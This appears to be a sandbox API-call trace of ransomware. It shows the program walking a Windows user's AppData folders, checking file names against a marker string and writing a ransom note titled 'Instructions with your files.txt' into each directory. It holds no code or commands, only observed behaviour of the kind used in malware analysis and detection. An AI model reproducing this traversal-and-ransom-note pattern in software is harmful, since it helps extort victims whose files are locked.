[0131.545] StrStrIW (lpFirst="profiles.ini", lpSrch="SDfghjkl") returned 0x0
[0131.545] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles.ini", cAlternateFileName="")) returned 0
[0131.545] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Instructions with your files.txt") returned 98
[0131.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.547] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.548] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.548] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.548] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.548] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.548] CloseHandle (hObject=0x118) returned 1
[0131.548] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.548] GetProcessHeap () returned 0x810000
[0131.549] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.550] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 0
[0131.550] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Instructions with your files.txt") returned 90
[0131.550] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.551] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.552] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.552] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.552] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.552] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.552] CloseHandle (hObject=0x114) returned 1
[0131.552] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.552] GetProcessHeap () returned 0x810000
[0131.552] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30f77e90, ftCreationTime.dwHighDateTime=0x1d5bc1c, ftLastAccessTime.dwLowDateTime=0x33358f50, ftLastAccessTime.dwHighDateTime=0x1d5c53e, ftLastWriteTime.dwLowDateTime=0x33358f50, ftLastWriteTime.dwHighDateTime=0x1d5c53e, nFileSizeHigh=0x0, nFileSizeLow=0x13853, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NYgBmgPv67r.wav", cAlternateFileName="NYGBMG~1.WAV")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NYgBmgPv67r.wav") returned 65
[0131.553] StrStrIW (lpFirst="NYgBmgPv67r.wav", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd4f09640, ftCreationTime.dwHighDateTime=0x1d5c4d6, ftLastAccessTime.dwLowDateTime=0xc8f63210, ftLastAccessTime.dwHighDateTime=0x1d5b850, ftLastWriteTime.dwLowDateTime=0xc8f63210, ftLastWriteTime.dwHighDateTime=0x1d5b850, nFileSizeHigh=0x0, nFileSizeLow=0xaabf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oTWp8hTou.gif", cAlternateFileName="OTWP8H~1.GIF")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\oTWp8hTou.gif") returned 63
[0131.553] StrStrIW (lpFirst="oTWp8hTou.gif", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ca47900, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7ca47900, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ca6da60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="parid.bin", cAlternateFileName="")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\parid.bin") returned 59
[0131.553] StrStrIW (lpFirst="parid.bin", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe84c79d0, ftCreationTime.dwHighDateTime=0x1d5b607, ftLastAccessTime.dwLowDateTime=0xdbe271d0, ftLastAccessTime.dwHighDateTime=0x1d5bd33, ftLastWriteTime.dwLowDateTime=0xdbe271d0, ftLastWriteTime.dwHighDateTime=0x1d5bd33, nFileSizeHigh=0x0, nFileSizeLow=0x7397, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qGJu4mBpIZFu.odp", cAlternateFileName="QGJU4M~1.ODP")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qGJu4mBpIZFu.odp") returned 66
[0131.553] StrStrIW (lpFirst="qGJu4mBpIZFu.odp", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94320190, ftCreationTime.dwHighDateTime=0x1d5b84f, ftLastAccessTime.dwLowDateTime=0xb94a6040, ftLastAccessTime.dwHighDateTime=0x1d5c3d4, ftLastWriteTime.dwLowDateTime=0xb94a6040, ftLastWriteTime.dwHighDateTime=0x1d5c3d4, nFileSizeHigh=0x0, nFileSizeLow=0x1416e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sIOl7FNIMAmnfsP9O.xlsx", cAlternateFileName="SIOL7F~1.XLS")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sIOl7FNIMAmnfsP9O.xlsx") returned 72
[0131.553] StrStrIW (lpFirst="sIOl7FNIMAmnfsP9O.xlsx", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc351bcb0, ftCreationTime.dwHighDateTime=0x1d5b861, ftLastAccessTime.dwLowDateTime=0xc44d7c50, ftLastAccessTime.dwHighDateTime=0x1d5beb8, ftLastWriteTime.dwLowDateTime=0xc44d7c50, ftLastWriteTime.dwHighDateTime=0x1d5beb8, nFileSizeHigh=0x0, nFileSizeLow=0x14e61, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t_-Zdam cp.wav", cAlternateFileName="T_-ZDA~1.WAV")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\t_-Zdam cp.wav") returned 64
[0131.553] StrStrIW (lpFirst="t_-Zdam cp.wav", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8338e180, ftCreationTime.dwHighDateTime=0x1d5bc7b, ftLastAccessTime.dwLowDateTime=0x88997d70, ftLastAccessTime.dwHighDateTime=0x1d5c378, ftLastWriteTime.dwLowDateTime=0x88997d70, ftLastWriteTime.dwHighDateTime=0x1d5c378, nFileSizeHigh=0x0, nFileSizeLow=0x13013, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uZf0_6z.wav", cAlternateFileName="")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uZf0_6z.wav") returned 61
[0131.553] StrStrIW (lpFirst="uZf0_6z.wav", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ce2f240, ftCreationTime.dwHighDateTime=0x1d5c08b, ftLastAccessTime.dwLowDateTime=0xd19a84c0, ftLastAccessTime.dwHighDateTime=0x1d5ba12, ftLastWriteTime.dwLowDateTime=0xd19a84c0, ftLastWriteTime.dwHighDateTime=0x1d5ba12, nFileSizeHigh=0x0, nFileSizeLow=0xd7d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1BT.m4a", cAlternateFileName="")) returned 1
[0131.553] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\v1BT.m4a") returned 58
[0131.553] StrStrIW (lpFirst="v1BT.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.553] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6eb38420, ftCreationTime.dwHighDateTime=0x1d5b638, ftLastAccessTime.dwLowDateTime=0x71e82200, ftLastAccessTime.dwHighDateTime=0x1d5c09b, ftLastWriteTime.dwLowDateTime=0x71e82200, ftLastWriteTime.dwHighDateTime=0x1d5c09b, nFileSizeHigh=0x0, nFileSizeLow=0x83ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vgIvr.wav", cAlternateFileName="")) returned 1
[0131.554] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vgIvr.wav") returned 59
[0131.554] StrStrIW (lpFirst="vgIvr.wav", lpSrch="SDfghjkl") returned 0x0
[0131.554] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805859f0, ftCreationTime.dwHighDateTime=0x1d5b5f0, ftLastAccessTime.dwLowDateTime=0x37719b0, ftLastAccessTime.dwHighDateTime=0x1d5b5b6, ftLastWriteTime.dwLowDateTime=0x37719b0, ftLastWriteTime.dwHighDateTime=0x1d5b5b6, nFileSizeHigh=0x0, nFileSizeLow=0xe8e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W81FhOd2CE6kv.ods", cAlternateFileName="W81FHO~1.ODS")) returned 1
[0131.554] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\W81FhOd2CE6kv.ods") returned 67
[0131.554] StrStrIW (lpFirst="W81FhOd2CE6kv.ods", lpSrch="SDfghjkl") returned 0x0
[0131.554] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbad20f0, ftCreationTime.dwHighDateTime=0x1d5c3d7, ftLastAccessTime.dwLowDateTime=0x481d4f60, ftLastAccessTime.dwHighDateTime=0x1d5b8a6, ftLastWriteTime.dwLowDateTime=0x481d4f60, ftLastWriteTime.dwHighDateTime=0x1d5b8a6, nFileSizeHigh=0x0, nFileSizeLow=0x1372d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YKwKo2JKG.odp", cAlternateFileName="YKWKO2~1.ODP")) returned 1
[0131.554] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YKwKo2JKG.odp") returned 63
[0131.554] StrStrIW (lpFirst="YKwKo2JKG.odp", lpSrch="SDfghjkl") returned 0x0
[0131.554] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e7ef0f0, ftCreationTime.dwHighDateTime=0x1d5bc57, ftLastAccessTime.dwLowDateTime=0x84103c80, ftLastAccessTime.dwHighDateTime=0x1d5c30f, ftLastWriteTime.dwLowDateTime=0x84103c80, ftLastWriteTime.dwHighDateTime=0x1d5c30f, nFileSizeHigh=0x0, nFileSizeLow=0x24bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zgjdUziAK6ZA8.mkv", cAlternateFileName="ZGJDUZ~1.MKV")) returned 1
[0131.554] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zgjdUziAK6ZA8.mkv") returned 67
[0131.554] StrStrIW (lpFirst="zgjdUziAK6ZA8.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.554] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e7ef0f0, ftCreationTime.dwHighDateTime=0x1d5bc57, ftLastAccessTime.dwLowDateTime=0x84103c80, ftLastAccessTime.dwHighDateTime=0x1d5c30f, ftLastWriteTime.dwLowDateTime=0x84103c80, ftLastWriteTime.dwHighDateTime=0x1d5c30f, nFileSizeHigh=0x0, nFileSizeLow=0x24bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zgjdUziAK6ZA8.mkv", cAlternateFileName="ZGJDUZ~1.MKV")) returned 0
[0131.554] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Instructions with your files.txt") returned 82
[0131.554] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.555] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.556] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.556] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.556] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.556] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.557] CloseHandle (hObject=0x110) returned 1
[0131.557] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.557] GetProcessHeap () returned 0x810000
[0131.557] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.557] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ca47900, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ca47900, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0
[0131.557] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Instructions with your files.txt") returned 74
[0131.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.557] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.558] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.558] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.558] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.558] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.558] CloseHandle (hObject=0x10c) returned 1
[0131.559] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.559] GetProcessHeap () returned 0x810000
[0131.559] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89bc00 | out: hHeap=0x810000) returned 1
[0131.559] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
[0131.559] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 50
[0131.559] GetProcessHeap () returned 0x810000
[0131.559] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*") returned 52
[0131.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ca47900, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ca47900, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.560] GetProcessHeap () returned 0x810000
[0131.560] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.560] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
[0131.560] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 42
[0131.560] GetProcessHeap () returned 0x810000
[0131.560] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*") returned 44
[0131.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\.") returned 44
[0131.560] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.560] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
